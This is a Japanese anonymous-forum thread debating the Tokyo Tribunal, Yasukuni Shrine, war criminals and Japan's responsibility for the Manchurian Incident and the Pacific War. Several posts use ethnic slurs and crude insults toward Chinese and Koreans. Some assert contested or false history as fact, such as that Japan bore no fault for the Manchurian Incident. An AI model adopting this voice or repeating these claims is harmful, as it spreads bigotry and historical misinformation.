歴史を知っている人間が後から「バカ」呼ばわりするのは簡単なことだ。
3ヶ月で終わる可能性はあったと思うし、それを奏上したからといって
バカとは思えない。

>>606
靖国だぞ。あれは亡霊に決まってんだろうが。
こっちに帰ってきてんだよ。

外交政策上、武力行使自体に価値がある！o(^-^)o

戦争は勝負けではないの！
要求を手にすればｵｹ！
日本は戦争に敗北したけど、要求していた自由貿易と白人達からのアジア解放を達成しました。

法的にはA類戦犯も許されてるんだから、
もう終わったことです。

日本が勝ってたら朝鮮人は日本人のままだったよ。
負けるが勝ちと言うでしょ。

>>615
当時も剃刀東條さんを馬鹿だと思ってた人はいっぱいいたでしょうね
３ヶ月で終わる計画の戦争を拡大しちゃった責任は軍部にあるし

>>610
勝てないと分かっているからって、敵前逃亡ってのも敗戦だよな。
玉砕したエロ拓と、逃げた加藤、その後エロ拓は男を上げたからな。

>>616
>靖国だぞ。あれは亡霊に決まってんだろうが。

失礼致しました。（笑）しかし、どこからみても精鋭にはみえません。

>>611
＞日本はまぁ、そこまでやられずに良かった良かった
　アメリカ様ありがとう

アメリカは、女も子供も殺した。

>>618
A類戦犯は許されてない
減刑されただけ

>>613
日本の占領中に独立してんだよ
少しは勉強してからカキコしようねw

>>625
インドもベトナムも占領中に独立したとは知らなかった

>>606
見る者を楽しませようとするエンタに欠けている。

アキバとかコミケに逝って勉強して来いｗｗｗｗｗ

>>613
フィリピンやインドシナ、インドを日本に併合しようという形跡はないな。

>>619
まー、それだけは怪我の功名だな。
負けてよかった最大の事柄だな。

>>620
バカだと批判する人もいたし、評価する人もいた。
現在と同じ。

>>626
だから勉強しろよ
消防君w

東京裁判は、「判決を受け入れた」のであって、
内容を受け入れたとは、日本国はいってないのにね。
谷垣は、勝手に受け入れてんのかよ。
もういいから、上海にでも移住すれば？

>>625
満州国と同じパターンですね。

正論
＞東京裁判を我々は受け入れた

>>631
満州国は、戦後のイランやヨルダンやフィリピンなどと
同じパターンだな。

>>631
全然違うだろ。満州は荒野に建国したんだし。

>>620
うん。吉田茂なんかも、呆れてたようだ。
彼は外交官だから国際状況を把握してた。

昔の亡国軍部を批判するのも、今の売国外務省を批判するのも
同じように必要なことなんだけどね。

なぜか戦争指導者だけは擁護したい人がいるようで・・・。

>>632
判決をだろ
しっかりしろよ
それとも谷垣後援会か？w

靖国…
天草四郎を降臨させて戦艦大和に乗せられなかった事で神道の限界が有るな…

>>629
とりあえず大戦中に
インドとベトナムが自立した政権を立てた
ってソースを教えていただきたいんですが・・・
小学校の教科書には載ってないんですよ・・・

>>634
荒野とは失礼な！
大昔からの満州族の領国だぞ。
清朝以前から愛新覚羅家の領国。

>>634
自称　独立国家と言う意味で同じ書きました。

特ア以外に靖国否定を言ってるところはないよw

(　ﾟДﾟ)ｙ−~~ これは次期首相選から離脱したと見るのが正解。谷垣さよなら（ぷっ

>>635
確かにｗ戦争指導部が馬鹿だったってのは
その反省をこれからの外交や内政に生かすための
大前提だと思うけどね

谷垣まだ生きてたんか、質の悪い餌遣したもんだな

「我々は受け入れた」の“我々”って誰を指してるんだ？

>>642
だよな
今後は学歴主義の創価党へでも移った方が本人のためw

>>642
最初から泡沫候補だったけどなw

普通、国民というものは、その国の将来に対して責任を持っている。
だからこそ、その国が未来永劫罪を着せられて、不合理なことを押し付けられないように
自らの立場を主張するという立場を否定してはいけない。
ドイツの例を見ても分かるとおりそれがその国の将来のためでもあるからだ。
そもそも戦争になる以上、お互いに自らの主張する正義があるのは当り前で、
必要以上に戦争責任を煽って外国を巻き込み、自らの言い分を封殺するとはｗ
マゾなのか？それともハニートラップにでもかかっているのかｗ
戦争責任とは、日本国民に対する敗戦責任である。それも単なる追求で終っては意味は無く、
今後の教訓を得るためのもので無ければならない。
その観点で言えば、戦後、情報戦に負け続けたことに対しても、敗戦責任を問わねばなるまい。

>>645
谷垣と加藤と山崎w

>>646
>>638に答えてください

>>643
＞確かにｗ戦争指導部が馬鹿だったってのは
＞その反省をこれからの外交や内政に生かすための

いや、後から見ればバカでも、時代の只中にいる時には
それが判断できないってことこそが大前提だと思うよ。

>>637
天草四郎は負けてんじゃんｗ　しかも異教徒じゃんｗｗ

「われわれは受け入れた」って・・
なんであんな茶番を受け入れるんだ？
戦犯を作り出して
連合国＝正義　日本・ドイツ＝悪
という構図を作り連合国側の戦争を正当化したいだけだろうが
だいたいなんでこいつが「自分が日本の代表」みたいな
言い方をするのか
こんな売国奴が首相になったら日本は終わり

まあ谷垣も次は諦めているだろうが
かかる発言は公明には受けが良いだろうなとｗ

とにもかくにも参院選だなｗｗｗ

>>648
> 戦争責任とは、日本国民に対する敗戦責任である。


笑
全然違うよ
戦争責任は戦勝国を攻めた責任な、戦勝国にとっての責任
日本国民に対する責任じゃないw

＞＞確かにｗ戦争指導部が馬鹿だったってのは
＞＞その反省をこれからの外交や内政に生かすための

＞いや、後から見ればバカでも、時代の只中にいる時には
＞それが判断できないってことこそが大前提だと思うよ。
サリンをまいた団体と同じ原理だね。当時の参謀は、同レベルだと
思うけどね。

なぜ東京裁判を認めない？
会戦時の日本の行動を正当化するくせに
「諸判決を受諾した」から無罪などと屁理屈をかますのはなぜだ？
ルールを無視した国がそんなことを言うべきじゃない。

>>650
自分で調べなさいw

http://upp.sakura.ne.jp/src/upp2995.jpg_MGPpGZxDganLSDBdxdbH/upp2995.jpg
カレーの王子様は実在した”！！！！

ところで「鬼畜米兵に捕まると殺される」とか「殺されるぐらいならば自害を選べ」とか誰が言ったんだろうね
こーいう世論が多くの犠牲者を出したのは確かだよ

当事からメディアはあるわけで・・・まさかね・・・

結局負けたんだからしょうがないだろ
そんなん今のイラク、レバノン見たってわかりそうなもんだが

敗戦国が後からグダグダ言うのもどーなのよ

>>649
古賀も入れとけw

>>660
隣組を利用して洗脳した。

>>657
ん？だって国際法無視して侵略戦争した国だもん

なんでもありなんじゃないw

＞東京裁判は違法


オーストラリア人のキーナン検事も認めている
今も拘ってるのは特アだけ
何度も言ってるのにしつこいなw

絞首刑以上の刑はないのに、、ね。

>>655
w　それは既に終っている事。
言い間違えましたw
現在の日本人が追っている責任は、情報戦に負け続けた日本を立て直す事ですね。

>>651
国力で20倍離されて
戦略物資を一方的に相手に依存してる状態で
大陸で４年間もドンパチやりながら

アメリカ様に挑むのは馬鹿じゃないなら大失策ですよね
もしかして、失策とさえも言わないの？

>>656
あなたは後世に人から見て「バカ」と思われない言動をしている絶対の
自信があるようですね。
そういう根拠のない自信こそ俺には「オウム」を髣髴させる。

おい、谷垣ィ〜
中国女は歯を全部抜いてたのかぁ〜？
銭はいくらもらってんだぁ〜？

>>661
戦勝国が後からグダグダ言うのはいーのか？

>>661
まあ、中国が何を言おうと無視して総理の靖国参拝は続けるけどね。

後になってグダグダ言ってるネトウヨって朝鮮人みたいだな・・ｗ

>>668
失策だとして、あなたならどういう回避策をとった？
国内の強硬派を抑えて、満州から穏便に撤退できた？
撤退した後、ブロック経済化された世界市場で、
どう活路を見出して列強に対抗していった？

>>657
屁理屈っていわれても、原文にそう書いてあるんだから仕方ないだろ。
Judgmentってな。

欧米人の方が、日本人より英語よく分かるだろ。
そして、そいつらが認めたんだよ。
文句あるなら、原文書いたやつと認めたやつに言えばー？
朝日の中のアメ紙日本支局でも通してさw

>>671
実は戦勝国はどこもグダグダ言ってない件

>>671
戦勝国ですからね　
中国様に負けて撤退する時に
皇軍兵士がみんな、支那人の食料と化さなかっただけでも
蒋介石に感謝しないとｗ

>>671
戦勝国ですらないｗ

裁判は東京裁判だけではない。
一般士官や下士官、兵はとんでもない裁判を受け極刑となっている。
それから思えば、東京裁判は恵まれてるわな。

>>660
それ東条英機の「戦陣訓」

論理的には「国内法を超越している」は否定できない。
なぜなら、敗戦によって、国内法は正常な機能をしていないし、国権が停止されていたのだから。
戦争で負けて国内法が１００％妥当するということは世界でもない。

で、それがなんなの？
で、どうすんの？分祀すんの？意味ないよ。
行かないの？意味ないよ。

「中韓の反対がなければ」参拝反対派なんて存在するのかね？神道の考えまで歪曲して

まあ殺しちまったA級の名誉回復なんて対外的には出来ないわけで

ぶっちゃけ　殺され損　なんだよなｗ

東条の孫娘がファビョるのも無理も無いところｗｗｗ

>>664
カッコ悪いよな。
「オレがルールを破るのはいいが、ほかの国がルールを破ってオレを痛めつけるのは許さん」
って言ってるんだろ？
ここの連中はプライドばっか高くて自分の頭で考えようとしないよな。

>>669
違うよ。指導者だから後世に評価されんだよ。
歴史に評価されたくなければ指導者になんかなっちゃいけないんだ。

>>660
支那兵に捕まるなら死んだ方がいいってのは事実だと思うがな。

>>677
公式には日本と中国は戦争していない事になっている、つまり中国は
戦勝国ではないよ。

>>652
失礼m(__)m
じゃ眠り狂四郎
ヤツなら勝てる

>>686
確かに。盧溝橋意見の後も「宣戦布告」してません。

おいおい先人が受け入れたのは事実だろ？？　そしたら、それに従うのがスジじゃねの？

>>672
＞総理の靖国参拝は続けるけどね。

その理由が個人の信教の自由だって事を忘れるな。

国策として参拝を続けるなんてのは無理だからなｗ

恐らく国民も
「行きたくないのならそれで良いんじゃね？」ぐらい

「売国奴！」とファビョるのはウヨだけｗｗｗ

>>683
あるよねそういう国が、日本の斜め上に。

>>663
ﾄﾝｸｽ。

>>673
向こうが言わなきゃこっちも言わんわ、阿呆か

>>676
>>678
そーいやそうだった
何故か中国を戦勝国だと思ってた

そりゃ全否定は無理だろ。

>>691
お前もそろそろ本国へ帰ったらどうなんだ？もういいだろ？

>>682
本来なら、天皇を処刑したかったんだろうけど、
無理っぽいから、一番頃しやすそうな東條にしたって感じかなw
昭和天皇は、東條の子孫に手紙とかマメにかいてたらしい。

中国は、戦勝国ではなく、常任理事国。

>>664
＞ ん？だって国際法無視して侵略戦争した国だもん

(　ﾟДﾟ)ｙ−~~ まだいるんだな、この手の香具師・・・一つ詳しく述べてくれるかな？

>>675
いやだからさ、ルールを破った国が
「東京裁判は国際法に違反してる」とか言っても説得力無いのよ。
満州事変にしろ一般人殺害にしろ、国際法に違反しまくりだったわけだろ？

>>691
ほかの国なんかどうでもいいんだよ。
いちいち北朝鮮や韓国や中国やロシアを引き合いに出さなきゃ何も言えないのか？

このときのサンジャポは、意外とハニガキが田原の思い通りに発言せずに、
田原がふぁびょってた気がする

>>674
石橋湛山の小日本主義だっけ？
あれで良いんじゃないかな
中国と停戦、経済植民地にして搾取し続ければ良い
満州からは撤兵。三国同盟も破棄
日本のナショナリズムを過大に受け取って
中国のナショナリズムを舐めすぎてたと思う

>>699
>ルールを破った国が「東京裁判は国際法に違反してる」とか言っても説得力無いのよ。

あるだろ？普通に。

特ア、靖国とかのナショナリズムあおるのは目くらましだっていいかげんきづかないとねぇ。
本当に日本壊してるのは外国人じゃないだろ。

>>690
まあ、中国が何を言おうと無視して総理の靖国参拝は続けるけどね。

>664
いつから国際法は武力行使を禁じたんだ？o(^-^)o

>>684
それは卑怯だよ。
指導者だって一般人だって対して変わらない人間。
神や聖人ではないのだから、人は必ず過つ。
また、後世から見て誤りのように思えても、そこは社会科学。
他の選択肢ならよりよい未来だったか否かなど誰にも判断できない。
自分を埒外において、他者を評価するのは愚。

>>699
＞満州事変にしろ一般人殺害にしろ、国際法に違反しまくりだったわけだろ？

(　ﾟДﾟ)ｙ−~~ ・・・・通州事件とか知ってるか？

>>705
パリ不戦条約であります

>>682
ファビョッてんのはお前だろ
笑えるねぇw

>>707
分かんないやつだな。
ほかの国と比較してもしょうがないだろ。
今は日本の話をしてるんだよ。
「ほかの国が違反してるんだから日本もいいんだ」なんて子供の考えじゃないか。

すぐ戦中なら通州、戦後ならチベット辺りを引き合いに出すけど、
それで日本のやったことが軽減されるわけじゃないだろうに。

>>701
石橋湛山は正論だったね。

やっぱり満州は無理があった。
そもそも満州建国までの経緯は日本の方針というより
陸軍の暴走だったからね。

>>708
自衛権に基づく武力行使は保留されているけどね。
自衛権が認められているなら、事実上空文ですけどね。
自衛なんていくらでも拡大解釈可能ですから。

>>707
何か違反した国がさ
相手もやったからって言うのは違うだろ
正当防衛だって、防衛の意思が無きゃ認められないし
満州事変から始まる華北への進出はまずいんでないの？
国際法的にさ

東京裁判がどうこう言ってるが、
現地裁判で、
士官や下士官、兵はとんでもない裁判で「極刑」となっている。
こちらの方が問題だ。

>>713
＞国際法的

って、何？具体的にｗ。

>>699
わかったわかったw
で、厳密に言えばルールを破ってない戦争をした国なんか一国も無いわけだが、
その辺はどうですか？

東京裁判は正しかったと、外向き言うならまだわかるが
国内向けに言うなんて馬鹿じゃないだろうか？

日本も悪い事をした。
中国もした。ロシアもした。アメリカもした。
戦争中、完全に国際法を守った国など無い。

日本だけが非難され、反省する必要は無い。
戦争当事国すべてが反省しろ。

>>711
やっぱ主犯は軍部かって結論に至る。。
中国に深入りした日本の時代感覚って言うか
外交下手みたいなのは失態ですね

>>690
まあ、国際社会は基本的には弱肉強食の世界だから、やむを得ず
攻める事もあれば謀る事もあるだろう、しかし、戦没者の慰霊に
文句をつけてそれを政治的に利用するのは下策中の下策です、
そのような卑劣な謀略は中国の評判をおとしめるだけですよ。

当時の法で東京裁判やり直してもいいよ
あれを裁判と呼ぶこと自体吐き気がする

>>711
その辺りは今の時代とあまり変わってないよな。

>>699
じゃあ、女子高生コンクリ殺人の神作みたいなやつには、
法廷で勝手に当たらし法律作ればいいわけね。

無罪を主張したパール判事は基地外になるわけ？
満州事変＞＞＞＞＞原爆投下な人ですか?

>>710
＞「ほかの国が違反してるんだから日本もいいんだ」なんて子供の考えじゃないか。
それは違うな。
誰も守らない法律や国際協定など守る必要はないよ。
現在の日本の法律にも、誰一人守りえない古い法律はたくさんあるが、
それを守ってないからといって、特定に人を処分するのは不法行為。
誰も守ってなくて空文化しているか否かという観点は、
裁判の上でも重要な観点だよ。

>>710
＞それで日本のやったことが軽減されるわけじゃないだろうに。

(　ﾟДﾟ)ｙ−~~ 詳しくな。「酷いことした」と同じレベルの話ではなんとも言えん。

昔の事より現在のほうが大事だろ。
このまま行けば自殺者が戦争の死者越える。

>>706
そんなこと言ったら歴史の評価なんてなくなってしまう。
歴史から何も学べなくなる。

だが実際にはすべての歴史が評価の対象だろ。
そうして人は歴史から失敗を学ぶんだろ。

なにも事後法つくって犯罪者にしろって言うのと違うんだよ。
歴史上の人物は常に評価されるものなんだよ。

>>715
九ヶ国条約って知ってる？

A級戦犯がどうたらの前に
霊とか信じていない死んだら平等に無にかえって終り。と、いう現実主義的な思考から
もし生前罪人だったとしても、死して物言わなくなった人々に「安らかに眠って下さい」と
参拝する事が悪い事だとは思えんのだよね、、、

逆に、物言わなくなった存在に対し罪人罪人と連呼し、死者に鞭打つ方に憤りを感じる。
生きてる以上大小の罪は負うだろうが、こういった人々は死んだ後は自分から罪人用の墓地等にいくのだろうか

日本は１億人、米国は２億人、中国は２０億人の人口…
中国は自国内の利害対立が深刻すれば内戦で自滅だな

>>724
明文化された法律と慣習法の間には
天と地ほどの開きがあると思うんだが

私たちは、生活の中で味わっているでしょう。
喧嘩で、相手が手を出してきた。みなさんも、そう主張しませんか？
自分は正当防衛だと。

戦争も同じでは。

無差別爆撃の道を開いたのは
日本軍の重慶爆撃だろ。
それは解っておいた方がいい。

補足

http://www.shugiin.go.jp/itdb_shitsumon.nsf/html/shitsumon/b163021.htm

＞衆議院議員野田佳彦君提出「戦犯」に対する認識と内閣総理大臣の靖国神社参拝に関する質問に対し、別紙答弁書を送付する。

＞お尋ねの重光葵氏は、平和条約発効以前である昭和二十五年三月七日、連合国最高司令官総司令部によって恩典として設けられた仮出所制度により、同年十一月二十一日に仮出所した。
＞お尋ねの賀屋興宜氏は、平和条約第十一条による刑の執行及び赦免等に関する法律により、昭和三十年九月十七日、仮出所し、昭和三十三年四月七日、刑の軽減の処分を受けた。
＞お尋ねの死刑判決を受け絞首刑となった七名、終身禁錮刑及び有期禁錮刑とされ服役中に死亡した五名並びに判決前に病没した二名については、右のいずれの制度の手続もとられていない。

やっぱり殺され損ｗｗｗｗｗｗｗｗｗｗ

1931年の満州事変がケチのつき始め。
三国干渉でナショナリズムが高揚していたんだろうけど、
あそこが一つのポイントになったのでは？

軍部がどうして暴走を始めたのか。
1936年の226事件は、1933年に国際連盟に脱退した後だから、それより前なんだな…
犬養首相が殺された515事件が1932年、これより満州事変の方が前だとは知らなかった。

俺様メモでスマソ

>>732
手を出してきたから拳銃で射殺した、これは、過剰防衛。
原爆投下と同じだな。

>>727
歴史上の人物は何も指導者だけじゃないよ。
「こうすればよかった」「ああすればよかった」ならまだしも、
バカだのアホだのなんて評価は聞くに堪えない。
それに、「こうすればよかった」といっても、それでどういう結果が
得られるかは検証しようがない。(歴史にIFはない)
検証できないことについて、個人を誹謗中傷するような行為を
歴史の評価とは呼ばない。

>>716
だから何？
それで軽減されるわけじゃないって何度も言ってるだろ。

>>718
負けたからしょうがないだろ。
勝てば官軍だよ。

>>723
その二つを比べること自体に意味が無いわけ。
原爆はとても正当化できる代物じゃないけど、戦前の日本もそうだってだけだよ。

>>724
じゃあ今の日本がどっかの国に戦争しかけても問題ないわけだ？
そりゃあ理屈の上では正しくても誰も賛同なんかしないだろ。
中国や北朝鮮が戦争始めても文句言えなくなるじゃない。

（・∀・）遂に発狂したT豚S工作員＆ピックル＋ブサヨ軍団が死に物狂いで大暴れしてますwww
↓


OFF板のT豚S剥奪スレ
http://off3.2ch.net/test/read.cgi/offmatrix/1155274619/l50

しかも日本軍の殆どは餓死だったという。
この事実を知ると、ほんと何とも言えないよ。

>>735
庶民は外国の事なんて何も知らなかったのは事実。
ただ、庶民のナショナリズムを

　　　　　　　　マスゴミが煽ったのは事実。

靖国だの戦犯の話題をすれば
それだけ中国、韓国が喜ぶもんな。
こんな問題どうだっていいんだよ。今だよ今。
領土問題とか教育、福祉、雇用の問題のほうがはるかに
大事。

>>1
サンフランシスコ平和条約　第11条(抜粋）
Japan accepts the judgments of the International Military Tribunaｌ
for the Far East and of other Allied War Crimes Courts both within and outside Japan,
and will carry out the sentences imposed thereby upon Japanese nationals imprisoned in Japan.

日本国は，極東国際軍事裁判所並びに日本国内及び国外の
他の連合国戦争犯罪法廷の裁判を受諾し，
且つ，日本国で拘禁されている日本国民にこれらの法廷が課した刑を執行するものとする。

英文だとjudgementsで諸判決だけど、日本語だと裁判だな。
ここらが混乱の元凶じゃないのかな？
ただ、英語が正文だから「諸判決」という解釈の方が正しいとは思うけど。

(　ﾟДﾟ)ｙ−~~ 歴史的順序を知らない香具師が吠えてもなぁ・・・・・

基本的に志那への軍隊の駐留は条約で列強各国に認められていた事だし、
法人保護権もその駐留日本軍には有ったのだから、
それを踏まえた上で邦人を虐殺した志那が悪いんだよ。

まぁここで吠えてる坊やは、年表から勉強し直してはどうかと思う

>>740
同意だ　当時は情報なんて政府かマスコミからしか入って来ないわけだし

ま、メディアの側も市場原理の中にいるから
国民にうける記事を書かなきゃってなっちゃったのかなぁ・・・

まだ、日本人がでかい顔するには早すぎたのかな当時は

>>735
でも、日本列島と朝鮮半島だけに閉じこもった日本に
その後どういう打開策がある？
支那の欧米による分割は進行していたわけだし、
既存領土に立て篭もっていても座して死を待つだけだろ？
支那を切り取った米英仏露はブロック経済を強化し益々力をつけるよ。
そうなれば、結局幕末状態に逆戻り。

何言ってんだこいつ。
受け入れずに泥沼のテロ活動でもしてりゃ良かったのか？
正しいか間違いか関係なく受け入れざる得ない状況だっただけだろ。
国家としてとして日本を消滅させないための選択だっただけ。

死者にムチ打つ…
だから、わざわざ掘り起こすなっちゅーの
埋めとけっちゅーの
無関心だよ
掘り起こして見せ物にするから石投げられるだけ。
埋めとけって…

>740
マスコミは政府や財界がやりたくなかった戦争を煽ったこともあるからな。

>>733

(　ﾟДﾟ)ｙ−~~ 市民を楯にした国民党軍が問題なんだよ


>>745

(　ﾟДﾟ)ｙ−~~ まさに第２次大戦は幕末に始まっていたとワシもおもう。

>>743
ちなみに満州事変→華北分離工作→熱河作戦と
ずるずる中国へ攻めていくわけだが
この辺も日本に非は無いのかな？

>>735
515事件は少人数のテロだった。
首相暗殺という大罪なのに、ほとんどが数年で出所した。
あれを厳しく断罪しなかったことが226事件へと拡大した。

今、役所の不正プール事件が続出しているけど、最初に横領・背任で
懲役にしていればこうはならなかった。
返金すれば告訴さえされないのだから、役人の暴走は止まらない。

>>743
それが一番危険な考え方なんだよな。

>>744
日本のマスゴミは今も昔も商業第一だからな。
今の朝鮮と、昔の日本は殆ど同じ様な状況だろう。
ただ、朝鮮は資本主義じゃないから活発なマスゴミ活動が行われていないだけだろうな。

>>750

(　ﾟДﾟ)ｙ−~~ 法人保護の印籠を出させた志那の非。戦争状態になれば色々起こるのは当然だよ。

>>738
理屈の上では正しくても周囲の顔色を見て行動を変えるっていうのは、
「ほかの国が違反してるんだから日本もいいんだ」ってのと対して違わないな。

本土決戦になっていて、多くの犠牲者が出た後で降伏していても、
首脳を称えるのかな。ベルリンをみればその悲惨さは理解できると
思うがな。
ノーベル章を取ったドイツ人が元親衛隊であったことがわかり大きな
話題になっているが、日本人には理解できないだろう。
こく

>>738
面白いヤツだなｗ
仮に日本に戦争犯罪があったとしてもそれは清算済みの話。国交を拓いた時点でな。
しかし戦勝国や自称戦勝国の戦争犯罪は一切裁かれず、清算もされていない。
「ルールを守るならお互いが」だろ。

>>750
仮に非が無くてもリットン調査団で否定され、国際連盟から脱退と言うことになったから、
外交としてはぼろ負けだったんだろうな。

>>35
日本人より、アメリカ人の方が英語うまいだろ。
毎日、使ってるんだから。
そいつらが、それで納得してるのに、谷垣はマゾですか？

>>749

日本も女学生とかに軍需工場で働かせてたからな。

その上に原爆が落ちてきた訳だが。

>>753
それに乗せられた陸軍の非も大きい。
そもそも自重しようとか、早期終結しようとか、関東軍は考えてたか。
戦争状態になって既成事実化を望んでたんじゃないのか？

判決を受け入れたのであって裁判を受け入れたのではない。
それに復讐裁判を認める事は国際的に復讐を正当化する行為である。
文明国なら決して復讐を正当化してはいけない。

>756
力があるほうはルールを守らなくていいんだよ。
そんな事も知らないのか？

東京裁判で、すべてが終わったなんて事はおかしい。
日本人として総括しなくてはいけないところはあるでしょう。
戦死者の遺骨の回収もしない国が、何を総括したんだ。

なんかVLf6mWfx0って頭悪そうね。

>>761
その理屈はよく聞くが意味がさっぱりわからない。

>>752

(　ﾟДﾟ)ｙ−~~ ﾊｧ？　おっしゃる意味が不明だす。歴史的事実の何処が危険？

>>757

(　ﾟДﾟ)ｙ−~~ まぁ当時の世界は白人主義で作られていたからな。否定されるもしょうがない。
　　　　　　　　それも踏まえて外交しなかった日本も真っ直ぐすぎだったな。

　　　　　　　　しかし正義を貫いた日本の外交は俺は感銘するよ。

>>765
だよな。
「セークスを受け入れたんであって、おまいを受け入れたわけじゃない」ぐらい言い分けっぽい。

>>762
だから、そんな事今更外国に向けて言う必要なんかないんだよ。
馬鹿な一部の日本人が、外国を巻き込んで一緒に日本にユスリタカリをしなけりゃなｗ

>>750
日本側にはまったく非は無い、そもそも満州事変は１９０５年に結ばれた
満州に関する日清条約を中国側が守らなかった事が原因で起こった事だし
華北分離工作も熱河作戦も中国側の反日テロが原因で起こった事。それに
当時は群雄割拠の時代で大陸は国の形にはなっていなかった、国そのもの
が無いのだから、侵略という事もありえない。

>>765
判決を受諾　懲役××年　という判決と刑期を受諾

裁判を受諾　南京大虐殺などの反対尋問も無い裁判で
提起された全ての日本軍の残虐行為を受諾

だと思いますが。

>>766
最近も中国でデモが起こったら、自衛隊を出せだとか言ってる連中がいる。
あのでかいスーパーチェーンとかを守るために日本の若者を出すのか？
ｱﾎだろ。
スーパーがつぶされるだけの方がよっぽどいいだろ。
なんで日本の若者が守りに出ていかなならんねん。
いいかげんにして欲しい。

車屋とかも好きで作ってんだろうから勝手に作ってればええやん。
若者狩り出すなっつーの。

>>766
あなたみたいな人が日本にはいっぱいいたから
松岡さんは堂々と連盟よさらば！と出来たわけですな・・・

そしてその正義のおかげで孤立して
ドイツ様こんにちわとｗ

満州事変以降戦線を拡大しなければ少しは情勢は変わってたんでしょうか？

受け入れたと言うか、それ以外の選択肢があったのだろうか

>>769
解りやすく言えば、
その荒野を自分たちのものとするための力は当時の日本には無かった。

そういうことだ。
それくらいは理解しといた方がいい。
女学生が軍需工場で働かされていたんだぞ。

企業は、理想というか、理念というか、信念があるからな。


嫉妬やいい加減な評判で目のかたきにされるかもしれないが、

サービスや商品がよければ、消費者に評価されるよ・。


実際、日本製品なんて買うなとか言っていても、なんだかんだで売れているからな。


どんなことにも障壁はある。

＞日本人として総括

いやあハッキリ言ってそれも無理ぽだと思うｗ

先ずそれをやろうとすれば天皇の責任に話が及ぶしｗ

「こいつが悪いのならあいつも悪い」・・・なんて話しが延々繰り返されるだけになりそうｗ

日本人にとって非常に面倒くさい事を東京裁判はやってくれたので
本当はありがたいと思うべしｗｗｗｗ

>>770
普通に考えれば、その結果である判決を受け入れるよいうことは。
裁判自体を受け入れたと考えるだろ？

逆に、「裁判を受け入れるが判決には意義がある」というなら
スジは通る話しなんだろうけど。

>>759

(　ﾟДﾟ)ｙ−~~ その理屈を出すのならば、今更「重慶」を持ち出すお前はおかしい。

>>760

(　ﾟДﾟ)ｙ−~~ 関東軍の場合、乗せられたんじゃなくて、乗ったんだよ。
　　　　　　　　生き馬の目を抜く時代に、策略を張り巡らすのは当たり前だろ？。
　　　　　　　　何を現在の価値観で計ってるんだ？。

>>772

(　ﾟДﾟ)ｙ−~~ 結果論を後世で笑うのはいかがかと思うぞ。

なに？　こんな朝方に湧いてるの？


さっき東亜で閉めてきたから、個々の状況わからぬ。

>>769
満州事変って俺が高校で習った奴とは全く違うんですけど
ホントのところはそんなことやってたんですか？

満鉄を爆破したのは中国と？

いまさら日本は正義の戦争と言われても
かなり無理があるんですが・・・

>>781
＞俺が高校で習った

少しは勉強しましょう。

>>762
その論法だと南京のことグダグダ言うのは筋違いってのと同じことだぞｗ

>>773
まったく変わったと思う。

>>779
だから、その「乗った」ことが失敗だったわけだろ。
生き馬の目を抜く時代に、イケイケドンドンだけで進もうとしたわけで。
実際、各国が駐留するなか、そんな状態なのは日本軍だけだった。
関東軍だけが状況判断ができてなかったわけだよ。

>>783
なんか同じ人がID変えてるっぽいなぁ
具体的に答えてよ　インド独立の人も答えずにいなくなるし

>>775

(　ﾟДﾟ)ｙ−~~ 「自分たちのモノにする」って・・・あんた本当に歴史勉強してる？

>>782

(　ﾟДﾟ)ｙ−~~ 誰が「日本は正義の戦争」と言ってるんだ？

>>1
こんな嘘つきが政治家やってんのかよ

>>773
戦線を拡大していったのは、中国側からの攻撃が原因だから日本側としては
避けようが無かった、国民党軍は満州を攻略しようとしていたし、何もしなければ
満州国は国民党軍に蹂躙されてしまう運命だった。それにもし米英の傀儡政権だった
国民党軍が大陸を支配してしまうと、資源に乏しい日本は資源を確保できなくなって
戦わずして欧米諸国に屈する事になってしまうから、日本としては大陸から
撤退する事はできない状況だった。

>776

関東軍は乗ったというより、感情が先走ったんじゃないか？
軍部中堅の奴らの。
それで抑えきれなくなったと思うが。

>>779
何処がおかしいんだよ。
日本が初めにやり始めた戦法なんだよ。

>>783
おれだってコヴァくらい全部読んどるわ。

北京TV「盧溝橋事件は支那共産党地下党員がまんまと引き起こした」と報道

2005年7月3日、支那のTV局北京電視台の午後4時からの番組「社会透視」内で、支那
事変の発端となった1937(昭和12)年7月7日の盧溝橋事件は、北京守備隊支那国民党軍
第29軍に潜入していた共産党地下党員『吉星文』『張克侠』『何基?』らが引き起こ
し、まんまと抗日戦争へと発展させる事に成功したと報道した。

http://usam.blogtribe.org/entry-ab5da5fe2dc41716359b819172eefbab.html

>>762
それに、勝った方がルールを守らなくて良いという論法なら、
日本は未来永劫集られ続ける運命にあるｗ

> 日比谷焼打事件（ひびややきうちじけん）は、日露戦争後の賠償に対する不満から、
> 1905年9月5日、東京日比谷公園の集会をきっかけに起こった暴動のこと。

> このため、朝日新聞（9月1日付）に「講和会議は主客転倒」「桂太郎内閣に国民や軍隊は売られた」
> 「小村許し難し」などと書かれるほどであった。

ここでも朝日、お前かよ…orz

>>おれだってコヴァくらい全部読んどるわ。
ﾌﾟｷﾞｬｰｯ

まあぶっちゃけウヨもこんなトコでブツブツ言ってもしようがないんだよねｗ

「判決を受け入れたのであって裁判を受け入れたのではない。」

と国会で言いはなてる総理を誕生させなきゃ結局マイ解釈を開陳しているだけｗ

>>787
先ずはお前が勉強して来い。
コヴァは全巻な。

>>796
２ちゃんで必死になっても仕方ないよね
コピペ連発とか、すぐﾁｮｿとか在日とか言うのは止めて欲しい
まともに議論にならない

>784
未来思考でなくてはならない。

>>775
> 女学生が軍需工場で働かされていたんだぞ。

これって、当時の欧米でも普通じゃないの？

>>789
＞日本としては大陸から撤退する事はできない状況だった。

×日本としては
○軍部の面子としては

日本としては、満州から撤退すべき状況だったんだよ。

事後法を認める弁護士ってのもどうなんだろうな。

なあ、谷垣？

>>785
＞実際、各国が駐留するなか、そんな状態なのは日本軍だけだった。

(　ﾟДﾟ)ｙ−~~ ヲイヲイ、上海事変で列強が何やったか知らないのか？？？？？？

>>791

(　ﾟДﾟ)ｙ−~~ あのな、市内に紛れたゲリラ本部と軍事工場を一緒にするなよな

　左翼はずっと嘘をついてきた　　宮台が江川達也に語る。

http://www.youtube.com/watch?v=soeHX9-Da9E&mode=related&search=



(　ﾟДﾟ)ｙ−~~ は秋水氏か？
　　　　 / |
　　　 ┏━━━ / ｜━━━━━┓
　　　 ┗┳┳━ |＿| ━━━┳┳┛
　　　 　 ┃┃ ／　　ヽ 　　　 ┃┃
　　　 ┏┻┻ |======| ━━┻┻┓
　　　 ┗┳┳ ヽ__ ¶_ ノ ━━┳┳┛
　　　 　 ┃┃　（／）　　　　　┃┃
　　　 　 ┃┃　（／）　　　　　┃┃　　　　　君が代は
　　　 凸┃┃　（／）　　　　　┃┃凸
